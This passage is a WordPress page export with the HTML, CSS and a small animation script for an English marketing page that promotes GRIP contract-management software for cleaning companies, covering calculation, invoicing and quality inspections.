{"id":14123,"date":"2024-12-06T21:42:48","date_gmt":"2024-12-06T19:42:48","guid":{"rendered":"\/voor-wie\/voor-dienstverleners\/"},"modified":"2026-07-25T14:31:38","modified_gmt":"2026-07-25T12:31:38","slug":"service-providers","status":"publish","type":"page","link":"https:\/\/grip-contracts.com\/en\/organizations\/service-providers\/","title":{"rendered":"Contract Management Software for Cleaning Companies | GRIP"},"content":{"rendered":"\n<section class=\"smh-hero\">\n<style>\n.smh-hero { position:relative; overflow:hidden; min-height:600px; display:flex; align-items:center; padding:140px 24px 96px; margin-top:-85px; background-color:#E0341B; background-image:url(\"\/wp-content\/uploads\/2026\/07\/hero-schoonmaak.jpg\"); background-size:cover; background-position:55% 44%; background-repeat:no-repeat; font-family:'Poppins',sans-serif; }\n.smh-hero::after { content:\"\"; position:absolute; inset:0; pointer-events:none; z-index:1; background-image:linear-gradient(100deg, rgba(224,52,27,.97) 0%, rgba(224,52,27,.92) 26%, rgba(255,75,42,.6) 46%, rgba(255,75,42,.18) 68%, rgba(255,75,42,0) 84%); }\n.smh-hero__inner { position:relative; z-index:2; max-width:1120px; margin:0 auto; width:100%; display:flex; align-items:center; justify-content:space-between; gap:48px; }\n.smh-hero__content { max-width:560px; }\n.smh-hero__eyebrow { display:inline-block; font-size:12px; font-weight:600; letter-spacing:.08em; text-transform:uppercase; color:#fff; background:rgba(255,255,255,.2); padding:6px 14px; border-radius:999px; margin-bottom:24px; }\n.smh-hero__title { font-family:'Poppins',sans-serif; font-size:clamp(2.25rem, 4.4vw, 3.5rem); font-weight:700; line-height:1.12; letter-spacing:-.02em; color:#fff; margin:0 0 20px 0; }\n.smh-hero__title .smh-hero__highlight { color:#0F172A; }\n.smh-hero__subtitle { font-size:18px; line-height:1.6; color:rgba(255,255,255,.94); max-width:520px; margin:0 0 32px 0; }\n.smh-hero__btn { display:inline-flex; align-items:center; gap:8px; background:#fff; color:#E0341B; font-size:16px; font-weight:600; padding:14px 28px; border-radius:8px; text-decoration:none; box-shadow:0 12px 28px rgba(15,23,42,.18); transition:transform .18s ease, box-shadow .18s ease; }\n.smh-hero__btn:hover { transform:translateY(-2px); box-shadow:0 16px 32px rgba(15,23,42,.24); background:#f8fafc; }\n.smh-hero__mockup { flex-shrink:0; width:300px; }\n.smh-hero__mockup-card { background:#fff; border-radius:16px; box-shadow:0 28px 56px rgba(15,23,42,.30), 0 10px 28px rgba(0,107,255,.16), inset 0 0 0 1px rgba(255,255,255,.5); padding:28px 24px; position:relative; z-index:1; }\n.smh-hero__mockup-eyebrow { font-size:11px; font-weight:700; letter-spacing:.08em; text-transform:uppercase; color:#94A3B8; margin:0 0 20px 0; }\n.smh-hero__mockup-row { display:flex; align-items:center; gap:12px; }\n.smh-hero__mockup-dot { flex-shrink:0; width:28px; height:28px; border-radius:50%; color:#fff; font-size:13px; font-weight:700; display:flex; align-items:center; justify-content:center; }\n.smh-hero__mockup-body { flex:1; min-width:0; }\n.smh-hero__mockup-label { display:block; font-size:14px; font-weight:600; color:#0F172A; margin-bottom:6px; }\n.smh-hero__mockup-bar { height:6px; border-radius:999px; background:#EEF2F7; overflow:hidden; }\n.smh-hero__mockup-bar span { display:block; height:100%; border-radius:999px; }\n.smh-hero__mockup-line { width:1px; height:22px; background:#E2E8F0; margin:4px 0 4px 13px; }\n.smh-hero__mockup { position:relative; }\n.smh-hero__mockup::before { content:\"\"; position:absolute; inset:-24px; z-index:0; background:radial-gradient(circle, rgba(0,107,255,.32) 0%, rgba(0,107,255,0) 70%); filter:blur(28px); pointer-events:none; }\n.js-smh-anim .smh-hero__mockup-row { opacity:0; transform:translateX(-10px); }\n.js-smh-anim .smh-hero__mockup-bar span[data-bar-target] { width:0; }\n@keyframes smhBtnGlow { 0%, 100% { box-shadow:0 12px 28px rgba(15,23,42,.18), 0 0 0 0 rgba(255,255,255,0); } 50% { box-shadow:0 12px 28px rgba(15,23,42,.18), 0 0 22px 4px rgba(255,255,255,.55); } }\n.smh-hero__btn { animation:smhBtnGlow 2.8s ease-in-out infinite; }\n@media (prefers-reduced-motion: reduce) {\n  .smh-hero__btn { animation:none; }\n}\n@media (max-width:920px) {\n  .smh-hero { min-height:560px; padding:132px 20px 72px; background-position:60% 42%; }\n  .smh-hero::after { background-image:linear-gradient(180deg, rgba(224,52,27,.95) 0%, rgba(224,52,27,.92) 55%, rgba(255,75,42,.5) 100%); }\n  .smh-hero__inner { flex-direction:column; align-items:flex-start; }\n  .smh-hero__content { max-width:100%; }\n  .smh-hero__mockup { display:none; }\n}\n<\/style>\n<script>\n(function(){\n  var reduce = false;\n  if (window.matchMedia) {\n    if (window.matchMedia('(prefers-reduced-motion: reduce)').matches) { reduce = true; }\n  }\n  if (!reduce) {\n    document.documentElement.className += ' js-smh-anim';\n  }\n})();\n<\/script>\n<div class=\"smh-hero__inner\">\n  <div class=\"smh-hero__content\" data-reveal>\n    <span class=\"smh-hero__eyebrow\">GRIP for cleaning<\/span>\n    <h1 class=\"smh-hero__title\">Calculate with precision.<br>Grip on your <span class=\"smh-hero__highlight\">contracts.<\/span><\/h1>\n    <p class=\"smh-hero__subtitle\">The platform that helps cleaning companies stay in control of their client contracts, from precise calculation to demonstrable quality. One place for your contracts, your invoicing and your proof of quality.<\/p>\n    <a href=\"\/plan-demo\/\" class=\"smh-hero__btn\">Book a demo <span aria-hidden=\"true\">&rarr;<\/span><\/a>\n  <\/div>\n  <div class=\"smh-hero__mockup\" aria-hidden=\"true\" data-reveal data-reveal-delay=\"150\">\n    <div class=\"smh-hero__mockup-card\">\n      <p class=\"smh-hero__mockup-eyebrow\">One contract, three steps<\/p>\n      <div class=\"smh-hero__mockup-row\">\n        <span class=\"smh-hero__mockup-dot\" style=\"background:#FF4B2A\">1<\/span>\n        <div class=\"smh-hero__mockup-body\">\n          <span class=\"smh-hero__mockup-label\">Pre-calculation<\/span>\n          <div class=\"smh-hero__mockup-bar\"><span data-bar-target=\"70\" style=\"width:70%;background:#FF4B2A\"><\/span><\/div>\n        <\/div>\n      <\/div>\n      <div class=\"smh-hero__mockup-line\"><\/div>\n      <div class=\"smh-hero__mockup-row\">\n        <span class=\"smh-hero__mockup-dot\" style=\"background:#006BFF\">2<\/span>\n        <div class=\"smh-hero__mockup-body\">\n          <span class=\"smh-hero__mockup-label\">Financial management<\/span>\n          <div class=\"smh-hero__mockup-bar\"><span data-bar-target=\"55\" style=\"width:55%;background:#006BFF\"><\/span><\/div>\n        <\/div>\n      <\/div>\n      <div class=\"smh-hero__mockup-line\"><\/div>\n      <div class=\"smh-hero__mockup-row\">\n        <span class=\"smh-hero__mockup-dot\" style=\"background:#334155\">3<\/span>\n        <div class=\"smh-hero__mockup-body\">\n          <span class=\"smh-hero__mockup-label\">Settlement<\/span>\n          <div class=\"smh-hero__mockup-bar\"><span data-bar-target=\"40\" style=\"width:40%;background:#334155\"><\/span><\/div>\n        <\/div>\n      <\/div>\n    <\/div>\n  <\/div>\n<\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#fff;font-family:'Poppins',sans-serif;\">\n<style>\n\/* ---- gedeelde design-tokens, herbruikt in secties verderop op deze pagina ---- *\/\n.sm-eyebrow { display:inline-block; font-size:12px; font-weight:600; letter-spacing:.08em; text-transform:uppercase; padding:5px 14px; border-radius:999px; margin-bottom:16px; }\n.sm-eyebrow--blue { background:#E8F0FF; color:#006BFF; }\n.sm-eyebrow--orange { background:#FFECE7; color:#FF4B2A; }\n.sm-h2 { font-family:'Poppins',sans-serif; font-size:clamp(1.75rem, 3vw, 2.5rem); font-weight:700; color:#0F172A; margin:0 0 12px 0; line-height:1.25; }\n.sm-lede { font-size:16px; color:#64748B; line-height:1.7; margin:0; }\n.sm-section-header { text-align:center; max-width:680px; margin:0 auto 56px; }\n.sm-card { background:#fff; border:1px solid #E2E8F0; border-radius:16px; box-shadow:0 1px 2px rgba(15,23,42,.06); transition:transform .2s ease, box-shadow .2s ease; }\n.sm-card:hover { transform:translateY(-4px); box-shadow:0 12px 28px rgba(15,23,42,.08); }\n.sm-step-card { transition:transform .2s ease, box-shadow .2s ease; }\n.sm-step-card:hover { transform:translateY(-4px); box-shadow:0 12px 28px rgba(15,23,42,.08); }\n.sm-step-arrow { display:flex; align-items:center; justify-content:center; padding:0 14px; font-size:22px; color:#CBD5E1; flex:0 0 auto; }\n@media (max-width:860px) { .sm-step-arrow { display:none; } }\n@media (prefers-reduced-motion: reduce) { .sm-card, .sm-step-card { transition:none; } }\n<\/style>\n<div style=\"max-width:1120px;margin:0 auto;\">\n  <div class=\"sm-section-header\" data-reveal>\n    <span class=\"sm-eyebrow sm-eyebrow--blue\">In practice<\/span>\n    <h2 class=\"sm-h2\">Where do cleaning companies run into trouble?<\/h2>\n  <\/div>\n  <div style=\"display:grid;grid-template-columns:repeat(auto-fit, minmax(240px, 1fr));gap:24px;\">\n    <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"0\">\n      <div style=\"width:44px;height:44px;border-radius:12px;background:#E8F0FF;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\">\n        <svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#006BFF\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z\"\/><path d=\"M14 2v6h6\"\/><line x1=\"9\" y1=\"13\" x2=\"15\" y2=\"13\"\/><line x1=\"9\" y1=\"17\" x2=\"13\" y2=\"17\"\/><\/svg>\n      <\/div>\n      <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Your calculation lives in Excel<\/h3>\n      <p style=\"font-size:14px;color:#64748B;margin:0;line-height:1.65;\">One change and you are searching for which version is still correct. Error-prone, especially across multiple contracts.<\/p>\n    <\/div>\n    <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"80\">\n      <div style=\"width:44px;height:44px;border-radius:12px;background:#E8F0FF;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\">\n        <svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#006BFF\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><polygon points=\"12 2 2 7 12 12 22 7 12 2\"\/><polyline points=\"2 17 12 22 22 17\"\/><polyline points=\"2 12 12 17 22 12\"\/><\/svg>\n      <\/div>\n      <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Contracts that keep shifting<\/h3>\n      <p style=\"font-size:14px;color:#64748B;margin:0;line-height:1.65;\">Changes, indexation, additional work and budget hours pile up. Without an overview, your invoicing lags behind reality.<\/p>\n    <\/div>\n    <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"160\">\n      <div style=\"width:44px;height:44px;border-radius:12px;background:#E8F0FF;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\">\n        <svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#006BFF\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z\"\/><polyline points=\"9 12 11 14 15 10\"\/><\/svg>\n      <\/div>\n      <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Proving quality takes time<\/h3>\n      <p style=\"font-size:14px;color:#64748B;margin:0;line-height:1.65;\">Your client wants proof. Separate checklists make that a chore every single time.<\/p>\n    <\/div>\n    <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"240\">\n      <div style=\"width:44px;height:44px;border-radius:12px;background:#E8F0FF;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\">\n        <svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#006BFF\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><rect x=\"3\" y=\"3\" width=\"7\" height=\"7\" rx=\"1\"\/><rect x=\"14\" y=\"3\" width=\"7\" height=\"7\" rx=\"1\"\/><rect x=\"14\" y=\"14\" width=\"7\" height=\"7\" rx=\"1\"\/><rect x=\"3\" y=\"14\" width=\"7\" height=\"7\" rx=\"1\"\/><\/svg>\n      <\/div>\n      <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Everything stands apart<\/h3>\n      <p style=\"font-size:14px;color:#64748B;margin:0;line-height:1.65;\">Calculation, contract and quality in separate systems. The full picture is missing.<\/p>\n    <\/div>\n  <\/div>\n<\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#F8FAFC;font-family:'Poppins',sans-serif;\">\n  <div style=\"max-width:1120px;margin:0 auto;\">\n\n    <div class=\"sm-section-header\" data-reveal>\n      <span class=\"sm-eyebrow sm-eyebrow--orange\">How it works<\/span>\n      <h2 class=\"sm-h2\">Everything to manage your cleaning contract<\/h2>\n      <p class=\"sm-lede\" style=\"max-width:680px;margin:0 auto;\">GRIP consists of three parts that together manage your cleaning contract: sharing your performance, the finances of the contract and the proof of quality.<\/p>\n    <\/div>\n\n    <div style=\"max-width:760px;margin:0 auto 40px;text-align:center;padding:20px 28px;background:#fff;border:1px solid #E2E8F0;border-radius:12px;\" data-reveal>\n      <p style=\"font-size:14px;color:#475569;line-height:1.7;margin:0;\">GRIP is there for the whole cleaning sector. Cleaning companies automate their contract through to final calculation and invoicing. Advisory firms and intermediaries use the pre-calculation, the tender guidance and the contract management they carry out on behalf of their clients. All in GRIP, instead of in separate Excel files.<\/p>\n    <\/div>\n\n    <div style=\"display:grid;grid-template-columns:repeat(auto-fit, minmax(260px, 1fr));gap:24px;\">\n\n      <div class=\"sm-card\" style=\"overflow:hidden;\" data-reveal data-reveal-delay=\"0\">\n        <img decoding=\"async\" src=\"\/wp-content\/uploads\/2026\/01\/contract-overview.png\" alt=\"Contract Dashboard in GRIP\" loading=\"lazy\" style=\"width:100%;height:180px;object-fit:cover;object-position:top;display:block;border-bottom:1px solid #E2E8F0;\">\n        <div style=\"padding:28px 26px;\">\n          <div style=\"font-size:11px;font-weight:700;color:#006BFF;text-transform:uppercase;letter-spacing:.08em;margin-bottom:10px;\">Contract &amp; performance<\/div>\n          <h3 style=\"font-size:18px;font-weight:700;color:#0F172A;margin:0 0 10px 0;line-height:1.3;\">Contract Dashboard<\/h3>\n          <p style=\"color:#64748B;font-size:14px;margin:0 0 16px 0;line-height:1.65;\">Load in your cleaning contract, show your client your performance and manage actions in one place.<\/p>\n          <a href=\"https:\/\/grip-contracts.com\/en\/platform\/contract-partner-dashboard\/\" class=\"sm-link\" style=\"color:#006BFF;font-size:14px;font-weight:600;text-decoration:none;\">More about Contract Dashboard &rarr;<\/a>\n        <\/div>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"overflow:hidden;\" data-reveal data-reveal-delay=\"80\">\n        <img decoding=\"async\" src=\"\/wp-content\/uploads\/2026\/07\/co-calculatie.png\" alt=\"CleanOps calculation in GRIP\" loading=\"lazy\" style=\"width:100%;height:180px;object-fit:cover;object-position:top;display:block;border-bottom:1px solid #E2E8F0;\">\n        <div style=\"padding:28px 26px;\">\n          <div style=\"font-size:11px;font-weight:700;color:#FF4B2A;text-transform:uppercase;letter-spacing:.08em;margin-bottom:10px;\">Financial<\/div>\n          <h3 style=\"font-size:18px;font-weight:700;color:#0F172A;margin:0 0 10px 0;line-height:1.3;\">CleanOps<\/h3>\n          <p style=\"color:#64748B;font-size:14px;margin:0 0 16px 0;line-height:1.65;\">From quotation process and pre-calculation, through financial contract management (changes, benchmarks, budget hours), to final calculation: invoices and budget hours automatically to your ERP or planning tool, settlements and provisions included.<\/p>\n          <a href=\"#cleanops-uitgelicht\" class=\"sm-link\" style=\"color:#FF4B2A;font-size:14px;font-weight:600;text-decoration:none;\">CleanOps in focus &darr;<\/a>\n        <\/div>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"overflow:hidden;\" data-reveal data-reveal-delay=\"160\">\n        <img decoding=\"async\" src=\"https:\/\/grip-contracts.com\/wp-content\/uploads\/2025\/11\/kwaliteitsdashboard.png\" alt=\"Quality management in GRIP\" loading=\"lazy\" style=\"width:100%;height:180px;object-fit:cover;object-position:top;display:block;border-bottom:1px solid #E2E8F0;\">\n        <div style=\"padding:28px 26px;\">\n          <div style=\"font-size:11px;font-weight:700;color:#334155;text-transform:uppercase;letter-spacing:.08em;margin-bottom:10px;\">Quality<\/div>\n          <h3 style=\"font-size:18px;font-weight:700;color:#0F172A;margin:0 0 10px 0;line-height:1.3;\">Quality management<\/h3>\n          <p style=\"color:#64748B;font-size:14px;margin:0 0 16px 0;line-height:1.65;\">Cleaning inspections according to VSR (NEN 2075) and DKS, performance measurements and operational notifications between the client and the organization using GRIP.<\/p>\n          <a href=\"https:\/\/grip-contracts.com\/en\/platform\/quality-management\/\" class=\"sm-link\" style=\"color:#334155;font-size:14px;font-weight:600;text-decoration:none;\">More about Quality management &rarr;<\/a>\n        <\/div>\n      <\/div>\n\n    <\/div>\n\n  <\/div>\n<\/section>\n\n\n\n<section id=\"cleanops-uitgelicht\" style=\"padding:96px 24px;background:#fff;font-family:'Poppins',sans-serif;\">\n  <div style=\"max-width:1120px;margin:0 auto;\">\n\n    <div class=\"sm-section-header\" data-reveal>\n      <span class=\"sm-eyebrow sm-eyebrow--orange\">CleanOps in focus<\/span>\n      <h2 class=\"sm-h2\">From calculation to invoice, automatically accurate<\/h2>\n      <p class=\"sm-lede\" style=\"max-width:720px;margin:0 auto;\">CleanOps is the financial part of your cleaning contract: a transparent calculation, optionally based on your FMIS or room schedule, that automatically moves and settles along with reality. At the end of the contract, the invoice amounts per location and the corresponding budget hours go automatically to your ERP system or planning tool, settlements and provisions included.<\/p>\n    <\/div>\n\n    <div style=\"display:grid;grid-template-columns:repeat(auto-fit, minmax(280px, 1fr));gap:28px;\">\n\n      <div class=\"sm-card\" style=\"overflow:hidden;\" data-reveal data-reveal-delay=\"0\">\n        <img decoding=\"async\" src=\"\/wp-content\/uploads\/2026\/07\/co-portfolio.png\" alt=\"Quote and tender pipeline in CleanOps\" loading=\"lazy\" style=\"width:100%;height:auto;display:block;\">\n        <div style=\"padding:20px 22px;\">\n          <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Quote and tender pipeline<\/h3>\n          <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.65;\">Overview of all your ongoing tenders and quotation processes, from first calculation to award.<\/p>\n        <\/div>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"overflow:hidden;\" data-reveal data-reveal-delay=\"80\">\n        <img decoding=\"async\" src=\"\/wp-content\/uploads\/2026\/07\/co-calculatie.png\" alt=\"Transparent calculation in CleanOps\" loading=\"lazy\" style=\"width:100%;height:auto;display:block;\">\n        <div style=\"padding:20px 22px;\">\n          <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Transparent calculation<\/h3>\n          <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.65;\">Room schedule, benchmarks and budget hours in one calculation, that moves along as soon as something changes.<\/p>\n        <\/div>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"overflow:hidden;\" data-reveal data-reveal-delay=\"160\">\n        <img decoding=\"async\" src=\"\/wp-content\/uploads\/2026\/07\/co-export.png\" alt=\"Invoicing and settlement in CleanOps\" loading=\"lazy\" style=\"width:100%;height:auto;display:block;\">\n        <div style=\"padding:20px 22px;\">\n          <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Invoicing &amp; settlement<\/h3>\n          <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.65;\">Per location, automatically the correct invoice amounts and budget hours to your ERP or planning tool, provisions included.<\/p>\n        <\/div>\n      <\/div>\n\n    <\/div>\n\n  <\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#F8FAFC;font-family:'Poppins',sans-serif;\">\n  <div style=\"max-width:1120px;margin:0 auto;\">\n\n    <div class=\"sm-section-header\" data-reveal>\n      <span class=\"sm-eyebrow sm-eyebrow--blue\">Why cloud-native<\/span>\n      <h2 class=\"sm-h2\">Up-to-date benchmarks, not an export from last week<\/h2>\n      <p class=\"sm-lede\" style=\"max-width:720px;margin:0 auto;\">Many cleaning companies still work with local Windows tools: calculations that live on one laptop and are only accurate after a manual update. GRIP is built cloud-native, with a different starting point.<\/p>\n    <\/div>\n\n    <div style=\"display:grid;grid-template-columns:repeat(auto-fit, minmax(300px, 1fr));gap:32px;align-items:stretch;\">\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"0\">\n        <div style=\"font-size:12px;font-weight:700;color:#94A3B8;text-transform:uppercase;letter-spacing:.08em;margin-bottom:18px;\">Local tools<\/div>\n        <ul style=\"margin:0;padding:0;list-style:none;display:flex;flex-direction:column;gap:14px;\">\n          <li style=\"display:flex;gap:10px;color:#64748B;font-size:14px;line-height:1.6;\"><span aria-hidden=\"true\" style=\"color:#CBD5E1;flex-shrink:0;\">&#10005;<\/span>Data sits locally on one laptop or server<\/li>\n          <li style=\"display:flex;gap:10px;color:#64748B;font-size:14px;line-height:1.6;\"><span aria-hidden=\"true\" style=\"color:#CBD5E1;flex-shrink:0;\">&#10005;<\/span>You update and refresh manually<\/li>\n          <li style=\"display:flex;gap:10px;color:#64748B;font-size:14px;line-height:1.6;\"><span aria-hidden=\"true\" style=\"color:#CBD5E1;flex-shrink:0;\">&#10005;<\/span>Sharing with your client requires an export<\/li>\n          <li style=\"display:flex;gap:10px;color:#64748B;font-size:14px;line-height:1.6;\"><span aria-hidden=\"true\" style=\"color:#CBD5E1;flex-shrink:0;\">&#10005;<\/span>Every version can be a different truth<\/li>\n        <\/ul>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;border:2px solid #C7DEFF;\" data-reveal data-reveal-delay=\"80\">\n        <div style=\"font-size:12px;font-weight:700;color:#006BFF;text-transform:uppercase;letter-spacing:.08em;margin-bottom:18px;\">GRIP, cloud-native<\/div>\n        <ul style=\"margin:0;padding:0;list-style:none;display:flex;flex-direction:column;gap:14px;\">\n          <li style=\"display:flex;gap:10px;color:#0F172A;font-size:14px;line-height:1.6;font-weight:500;\"><span aria-hidden=\"true\" style=\"color:#006BFF;flex-shrink:0;\">&#10003;<\/span>One environment, accessible from anywhere<\/li>\n          <li style=\"display:flex;gap:10px;color:#0F172A;font-size:14px;line-height:1.6;font-weight:500;\"><span aria-hidden=\"true\" style=\"color:#006BFF;flex-shrink:0;\">&#10003;<\/span>Benchmarks are always up to date<\/li>\n          <li style=\"display:flex;gap:10px;color:#0F172A;font-size:14px;line-height:1.6;font-weight:500;\"><span aria-hidden=\"true\" style=\"color:#006BFF;flex-shrink:0;\">&#10003;<\/span>Your client follows along live via the dashboard<\/li>\n          <li style=\"display:flex;gap:10px;color:#0F172A;font-size:14px;line-height:1.6;font-weight:500;\"><span aria-hidden=\"true\" style=\"color:#006BFF;flex-shrink:0;\">&#10003;<\/span>One truth, for everyone watching<\/li>\n        <\/ul>\n      <\/div>\n\n    <\/div>\n\n  <\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#fff;font-family:'Poppins',sans-serif;\">\n  <div style=\"max-width:1120px;margin:0 auto;\">\n\n    <div class=\"sm-section-header\" data-reveal>\n      <span class=\"sm-eyebrow sm-eyebrow--blue\">Tender advantage<\/span>\n      <h2 class=\"sm-h2\">Your proof of performance becomes your tender advantage<\/h2>\n      <p class=\"sm-lede\" style=\"max-width:660px;margin:0 auto;\">Clients who see your performance in real time via the Contract Dashboard often bring you along to the next tender themselves.<\/p>\n    <\/div>\n\n    <div style=\"display:grid;grid-template-columns:repeat(auto-fit, minmax(240px, 1fr));gap:24px;margin-bottom:40px;\">\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;\" data-reveal data-reveal-delay=\"0\">\n        <div class=\"sm-num-badge\" style=\"width:32px;height:32px;background:#006BFF;color:#fff;border-radius:50%;font-weight:700;font-size:14px;display:flex;align-items:center;justify-content:center;margin-bottom:18px;\">1<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">You show performance, not promises<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">Via the Contract Dashboard you continuously show your client how you perform: quality, budget and agreements in one overview.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;\" data-reveal data-reveal-delay=\"80\">\n        <div class=\"sm-num-badge\" style=\"width:32px;height:32px;background:#006BFF;color:#fff;border-radius:50%;font-weight:700;font-size:14px;display:flex;align-items:center;justify-content:center;margin-bottom:18px;\">2<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Clients bring you along<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">That transparency sticks. Cleaning organizations that already know GRIP through a client approach us themselves: &#8220;Can we submit a bid with you for this tender?&#8221;<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;\" data-reveal data-reveal-delay=\"160\">\n        <div class=\"sm-num-badge\" style=\"width:32px;height:32px;background:#006BFF;color:#fff;border-radius:50%;font-weight:700;font-size:14px;display:flex;align-items:center;justify-content:center;margin-bottom:18px;\">3<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">You bid with proof<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">You enter the tender with a demonstrable track record instead of just a quote.<\/p>\n      <\/div>\n\n    <\/div>\n\n    <div style=\"max-width:640px;margin:0 auto;text-align:center;\" data-reveal>\n      <p style=\"color:#0F172A;font-size:16px;font-weight:600;margin:0 0 20px 0;line-height:1.6;\">Curious what that could mean for your next tender?<\/p>\n      <a href=\"\/plan-demo\/\" style=\"display:inline-block;background:#006BFF;color:#fff;font-size:15px;font-weight:600;padding:14px 32px;border-radius:8px;text-decoration:none;box-shadow:0 4px 12px rgba(0,107,255,.24);\">Book a demo<\/a>\n    <\/div>\n\n  <\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#F8FAFC;font-family:'Poppins',sans-serif;\">\n  <div style=\"max-width:1120px;margin:0 auto;\">\n\n    <div class=\"sm-section-header\" data-reveal>\n      <span class=\"sm-eyebrow sm-eyebrow--orange\">What it delivers<\/span>\n      <h2 class=\"sm-h2\">What GRIP delivers for cleaning companies<\/h2>\n      <p class=\"sm-lede\" style=\"max-width:620px;margin:0 auto;\">GRIP brings your contract data and quality measurements together in one place, so you steer on revenue and quality instead of separate files.<\/p>\n    <\/div>\n\n    <div style=\"display:grid;grid-template-columns:repeat(auto-fit, minmax(240px, 1fr));gap:24px;\">\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"0\">\n        <div style=\"width:44px;height:44px;background:#FFECE7;border-radius:12px;display:flex;align-items:center;justify-content:center;margin-bottom:20px;font-size:18px;font-weight:700;color:#FF4B2A;\">&#10003;<\/div>\n        <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Grip on every contract<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.7;\">From calculation to change: you see in one dashboard how every contract is doing.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"80\">\n        <div style=\"width:44px;height:44px;background:#FFECE7;border-radius:12px;display:flex;align-items:center;justify-content:center;margin-bottom:20px;font-size:18px;font-weight:700;color:#FF4B2A;\">&#10003;<\/div>\n        <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Insight into your revenue per contract<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.7;\">You see per contract what the calculation yields, so you steer on your revenue.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"160\">\n        <div style=\"width:44px;height:44px;background:#FFECE7;border-radius:12px;display:flex;align-items:center;justify-content:center;margin-bottom:20px;font-size:18px;font-weight:700;color:#FF4B2A;\">&#10003;<\/div>\n        <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Objectively demonstrate quality<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.7;\">Measure and report quality to clients, without separate spreadsheets.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"240\">\n        <div style=\"width:44px;height:44px;background:#FFECE7;border-radius:12px;display:flex;align-items:center;justify-content:center;margin-bottom:20px;font-size:18px;font-weight:700;color:#FF4B2A;\">&#10003;<\/div>\n        <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Less manual work<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.7;\">Contract data and quality measurements come together automatically, so your team keeps time for the trade.<\/p>\n      <\/div>\n\n    <\/div>\n\n    <div style=\"max-width:760px;margin:32px auto 0;text-align:center;\" data-reveal>\n      <p 